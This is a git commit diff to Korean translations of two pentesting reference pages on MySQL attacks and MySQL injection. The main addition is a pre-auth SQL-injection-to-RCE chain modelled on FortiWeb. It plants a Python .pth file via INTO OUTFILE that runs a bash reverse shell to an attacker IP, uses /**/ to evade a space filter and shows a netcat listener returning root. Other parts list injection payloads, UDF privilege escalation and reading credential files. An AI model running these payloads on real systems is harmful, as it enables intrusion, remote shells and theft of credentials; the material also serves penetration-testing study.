Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/

This commit is contained in:
Translator 2025-07-14 08:42:15 +00:00
parent 3e04ddc7d8
commit 7737481b55
2 changed files with 89 additions and 19 deletions

View File

@ -1,5 +1,10 @@
# 3306 - Pentesting Mysql
{{#include /banners/hacktricks-training.md}}
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}
## **기본 정보**
@ -34,7 +39,7 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**브루트 포스**](../generic-hacking/brute-force.md#mysql)
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### 이진 데이터 쓰기
```bash
@ -109,9 +114,46 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (사이트별 구성 훅)
고전적인 `INTO OUTFILE` 프리미티브를 악용하여 나중에 **Python** 스크립트를 실행하는 대상에서 *임의 코드 실행*을 얻을 수 있습니다.
1. `INTO OUTFILE`을 사용하여 `site.py`에 의해 자동으로 로드되는 임의의 디렉토리(예: `.../lib/python3.10/site-packages/`)에 사용자 정의 **`.pth`** 파일을 드롭합니다.
2. `.pth` 파일은 `import `로 시작하는 *단일 행*을 포함할 수 있으며, 그 뒤에 임의의 Python 코드가 이어져 인터프리터가 시작될 때마다 실행됩니다.
3. 인터프리터가 CGI 스크립트에 의해 암묵적으로 실행될 때(예: `/cgi-bin/ml-draw.py`에서 shebang `#!/bin/python` 사용) 페이로드는 웹 서버 프로세스와 동일한 권한으로 실행됩니다 (FortiWeb이 **root**로 실행 → 전체 사전 인증 RCE).
예시 `.pth` 페이로드 (단일 행, 최종 SQL 페이로드에 공백을 포함할 수 없으므로 hex/`UNHEX()` 또는 문자열 연결이 필요할 수 있음):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
**UNION** 쿼리를 통해 파일을 제작하는 예 (공백 문자가 `/**/`로 대체되어 `sscanf("%128s")` 공백 필터를 우회하고 총 길이를 ≤128 바이트로 유지):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
중요한 제한 사항 및 우회 방법:
* `INTO OUTFILE` **기존 파일을 덮어쓸 수 없습니다**; 새 파일 이름을 선택하세요.
* 파일 경로는 **MySQL의 CWD에 상대적으로 해결**되므로 `../../`로 접두사를 붙이면 경로를 단축하고 절대 경로 제한을 우회할 수 있습니다.
* 공격자 입력이 `%128s` (또는 유사한)로 추출되면 공백이 페이로드를 잘라냅니다; MySQL 주석 시퀀스 `/**/` 또는 `/*!*/`를 사용하여 공백을 대체하세요.
* 쿼리를 실행하는 MySQL 사용자는 `FILE` 권한이 필요하지만, 많은 장치(예: FortiWeb)에서 서비스가 **root**로 실행되어 거의 모든 곳에 쓰기 접근을 제공합니다.
`.pth`를 삭제한 후, 코드 실행을 얻기 위해 파이썬 인터프리터가 처리하는 CGI를 요청하세요:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Python 프로세스는 악성 `.pth` 파일을 자동으로 가져와서 쉘 페이로드를 실행합니다.
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL 클라이언트를 통한 임의 파일 읽기
실제로, **테이블에 로컬 데이터를 로드**하려고 할 때 MySQL 또는 MariaDB 서버는 **클라이언트에게 파일을 읽고** 내용을 전송하도록 요청합니다. **따라서, 자신의 MySQL 서버에 연결하도록 mysql 클라이언트를 조작할 수 있다면, 임의의 파일을 읽을 수 있습니다.**\
실제로, **테이블에 로컬 데이터를 로드하려고 할 때** MySQL 또는 MariaDB 서버는 **클라이언트에게 파일을 읽고** 내용을 전송하도록 요청합니다. **따라서, 자신의 MySQL 서버에 연결하도록 MySQL 클라이언트를 조작할 수 있다면, 임의의 파일을 읽을 수 있습니다.**\
이것은 다음을 사용할 때의 동작입니다:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -147,7 +189,7 @@ MySQL 서비스의 구성에서 다양한 설정이 사용되어 운영 및 보
- **`user`** 설정은 MySQL 서비스가 실행될 사용자 지정에 사용됩니다.
- **`password`**는 MySQL 사용자와 관련된 비밀번호를 설정하는 데 사용됩니다.
- **`admin_address`**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다.
- **`debug`** 변수는 현재 디버깅 구성을 나타내며, 로그 내에 민감한 정보를 포함합니다.
- **`debug`** 변수는 로그 내의 민감한 정보를 포함하여 현재 디버깅 구성을 나타냅니다.
- **`sql_warnings`**는 경고가 발생할 때 단일 행 INSERT 문에 대한 정보 문자열이 생성되는지 관리하며, 로그 내에 민감한 데이터를 포함합니다.
- **`secure_file_priv`**는 데이터 가져오기 및 내보내기 작업의 범위를 제한하여 보안을 강화합니다.
@ -171,9 +213,9 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Privilege Escalation via library
만약 **mysql 서버가 root** (또는 더 높은 권한을 가진 다른 사용자)로 실행되고 있다면, 명령을 실행하도록 만들 수 있습니다. 이를 위해서는 **사용자 정의 함수**를 사용해야 합니다. 사용자 정의 함수를 만들기 위해서는 mysql이 실행되고 있는 OS에 대한 **라이브러리**가 필요합니다.
만약 **mysql 서버가 root** (또는 더 높은 권한을 가진 다른 사용자)로 실행되고 있다면, 명령을 실행하도록 수 있습니다. 이를 위해서는 **사용자 정의 함수**를 사용해야 합니다. 사용자 정의 함수를 만들기 위해서는 mysql이 실행되고 있는 OS에 대한 **라이브러리**가 필요합니다.
사용할 악성 라이브러리는 sqlmap과 metasploit 내에서 **`locate "*lib_mysqludf_sys*"`** 명령어를 통해 찾을 수 있습니다. **`.so`** 파일은 **linux** 라이브러리이고, **`.dll`** 파일은 **Windows** 라이브러리입니다. 필요한 것을 선택하세요.
사용할 악성 라이브러리는 sqlmap과 metasploit 내에서 **`locate "*lib_mysqludf_sys*"`** 명령어를 통해 찾을 수 있습니다. **`.so`** 파일은 **linux** 라이브러리이고 **`.dll`** 파일은 **Windows** 라이브러리입니다. 필요한 것을 선택하세요.
만약 **그 라이브러리들이 없다면**, **찾아보거나**, 이 [**linux C 코드**](https://www.exploit-db.com/exploits/1518)를 다운로드하여 **linux 취약한 머신 내에서 컴파일**할 수 있습니다:
```bash
@ -220,7 +262,7 @@ _/etc/mysql/debian.cnf_ 안에는 사용자 **debian-sys-maint**의 **일반 텍
```bash
cat /etc/mysql/debian.cnf
```
이 자격 증명을 사용하여 **mysql 데이터베이스에 로그인할 수 있습니다**.
당신은 **이 자격 증명을 사용하여 mysql 데이터베이스에 로그인할 수 있습니다**.
파일 _/var/lib/mysql/mysql/user.MYD_ 안에는 **MySQL 사용자들의 모든 해시**가 있습니다 (데이터베이스 내의 mysql.user에서 추출할 수 있는 해시들입니다) _.
@ -609,4 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -14,7 +14,7 @@
```
## 흥미로운 기능
### Mysql 확인:
### Confirm Mysql:
```
concat('a','b')
database()
@ -44,20 +44,22 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## 모든 주입
## 모든 인젝션
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## 흐름
"모던" 버전의 **MySQL**에서는 "_**information_schema.tables**_"를 "_**mysql.innodb_table_stats**_**"**로 대체할 수 있다는 점을 기억하세요 (이는 WAF를 우회하는 데 유용할 수 있습니다).
"현대" 버전의 **MySQL**에서는 "_**information_schema.tables**_"를 "_**mysql.innodb_table_stats**_**"**로 대체할 수 있다는 점을 기억하세요 (이는 WAF를 우회하는 데 유용할 수 있습니다).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
### **오직 1개의 값**
### **오직 1 값**
- `group_concat()`
- `Limit X,1`
@ -90,7 +92,7 @@ UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL 유니온 기반
## MySQL Union Based
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
@ -109,7 +111,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
자세한 내용은 [이 블로그 게시물](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)을 참조하십시오.
더 많은 정보는 [이 블로그 게시물](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)을 참조하세요.
### Information_schema 대안
@ -123,22 +125,44 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
### 열 이름 없이 값 검색하기
어떤 시점에 테이블의 이름은 알지만 테이블 안의 열 이름은 모를 경우, 다음과 같은 명령을 실행하여 열의 개수를 찾으려고 시도할 수 있습니다:
어떤 시점에 테이블의 이름은 알지만 테이블 안의 열 이름은 모를 경우, 다음과 같은 방법으로 열의 개수를 찾으려고 시도할 수 있습니다:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
두 개의 열이 있다고 가정할 때 (첫 번째 열은 ID이고 두 번째 열은 플래그임), 플래그의 내용을 문자별로 시도하여 브루트포스 공격을 시도할 수 있습니다:
두 개의 열이 있다고 가정할 때 (첫 번째 열은 ID이고 두 번째 열은 플래그입니다), 문자 하나씩 시도하여 플래그의 내용을 무차별 대입으로 시도해 볼 수 있습니다:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
더 많은 정보는 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)에서 확인할 수 있습니다.
더 많은 정보는 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)에서 확인하세요.
### SPACES 없이 주입하기 (`/**/` 주석 트릭)
일부 애플리케이션은 `sscanf("%128s", buf)`와 같은 함수를 사용하여 사용자 입력을 정리하거나 구문 분석하며, 이 함수는 **첫 번째 공백 문자에서 멈춥니다**.
MySQL은 `/**/` 시퀀스를 주석 *및* 공백으로 처리하므로, 쿼리를 구문적으로 유효하게 유지하면서 페이로드에서 일반 공백을 완전히 제거하는 데 사용할 수 있습니다.
공백 필터를 우회하는 시간 기반 블라인드 주입 예시:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
데이터베이스가 수신하는 내용:
```sql
' OR SLEEP(5)-- -'
```
이것은 특히 유용합니다:
* 제어 가능한 버퍼의 크기가 제한되어 있을 때 (예: `%128s`) 공백이 입력을 조기에 종료시킬 수 있습니다.
* 일반적인 공백이 제거되거나 구분자로 사용되는 HTTP 헤더 또는 다른 필드를 통해 주입할 때.
* `INTO OUTFILE` 원시와 결합하여 전체 사전 인증 RCE를 달성할 때 (MySQL File RCE 섹션 참조).
---
### MySQL 역사
**sys.x$statement_analysis** 테이블을 읽어 MySQL 내 다른 실행을 볼 수 있습니다.
MySQL에서 테이블을 읽어 다른 실행을 볼 수 있습니다: **sys.x$statement_analysis**
### 버전 대안**s**
```
@ -148,11 +172,12 @@ mysql> select version();
```
## 다른 MYSQL 인젝션 가이드
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## 참고문헌
## 참고자료
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../../../banners/hacktricks-training.md}}